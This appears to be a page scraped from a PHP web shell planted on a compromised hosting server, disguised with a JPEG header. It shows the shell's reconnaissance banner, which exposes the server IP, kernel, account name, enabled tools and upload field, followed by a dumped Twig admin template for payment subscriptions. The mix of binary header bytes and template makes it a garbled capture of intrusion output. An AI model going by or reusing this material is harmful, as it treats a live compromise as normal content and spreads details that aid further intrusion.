����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.119.122.86 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/ideyshare.name.ng/app/views/admin/ |
Upload File : |
{% extends "admin/partial/layout_logged_in.html.twig" %} {% block title %}Manage Payment Subscriptions{% endblock %} {% block selected_page %}users{% endblock %} {% block selected_sub_page %}payment_subscription_manage{% endblock %} {% block body %} <script> oTable = null; gPaymentId = null; $(document).ready(function () { // datatable oTable = $('#paymentsTable').dataTable({ "sPaginationType": "full_numbers", "bServerSide": true, "bProcessing": true, "sAjaxSource": 'ajax/payment_subscription_manage', "iDisplayLength": 25, "aaSorting": [[1, "desc"]], "aoColumns": [ {bSortable: false, sWidth: '3%', sName: 'file_icon', sClass: "center adminResponsiveHide"}, {sName: 'payment_date', sWidth: '15%', sClass: "center"}, {sName: 'user_name', sWidth: '18%', sClass: "center adminResponsiveHide"}, {sName: 'period', bSortable: false, sClass: "center adminResponsiveHide"}, {sName: 'amount', bSortable: false, sWidth: '12%', sClass: "center"}, {sName: 'gateway', sWidth: '12%', sClass: "center"}, {bSortable: false, sWidth: '10%', sClass: "center adminResponsiveHide"} ], "fnServerData": function (sSource, aoData, fnCallback) { aoData.push({"name": "filterText", "value": $('#filterText').val()}); $.ajax({ "dataType": 'json', "type": "GET", "url": sSource, "data": aoData, "success": fnCallback }); }, "fnDrawCallback": function (oSettings) { postDatatableRender(); }, "oLanguage": { "sEmptyTable": "There are no subscriptions in the current filters." }, dom: "lBfrtip", buttons: [ { extend: "copy", className: "btn-sm" }, { extend: "csv", className: "btn-sm" }, { extend: "excel", className: "btn-sm" }, { extend: "pdfHtml5", className: "btn-sm" }, { extend: "print", className: "btn-sm" } ] }); // update custom filter $('.dataTables_filter').html($('#customFilter').html()); }); function reloadTable() { oTable.fnDraw(false); } </script> <!-- page content --> <div class="right_col" role="main"> <div class=""> <div class="page-title"> <div class="title_left"> <h3>{{ block('title') }}</h3> </div> </div> <div class="clearfix"></div> {{ msg_page_notifications|raw }} <div class="row"> <div class="col-md-12 col-sm-12 col-xs-12"> <div class="x_panel"> <div class="x_title"> <h2>List Of Subscribers</h2> <div class="clearfix"></div> </div> <div class="x_content"> <p> Note: Not all payment gateways will support subscriptions. Please check the payment gateway plugin settings page for the option to enable or disable subscriptions. If it is not available, the gateway plugin does not yet have built in support for it. </p> <table id="paymentsTable" class="table table-striped table-only-border dtLoading bulk_action"> <thead> <tr> <th></th> <th class="align-left">{{ t("date_added", "date added")|title }}</th> <th class="align-left">{{ t("user_name", "user name")|title }}</th> <th class="align-left">{{ t("period", "period")|title }}</th> <th class="align-left">{{ t("amount", "amount")|title }}</th> <th class="align-left">{{ t("gateway", "gateway")|title }}</th> <th class="align-left">{{ t("status", "status")|title }}</th> </tr> </thead> <tbody> <tr> <td colspan="20">{{ t('admin_loading_data', 'Loading data...') }}</td> </tr> </tbody> </table> </div> </div> </div> </div> </div> </div> <div class="customFilter" id="customFilter" style="display: none;"> <label> Filter Results: <input name="filterText" id="filterText" type="text" onKeyUp="reloadTable(); return false;" style="width: 160px;"/> </label> </div> {% endblock %}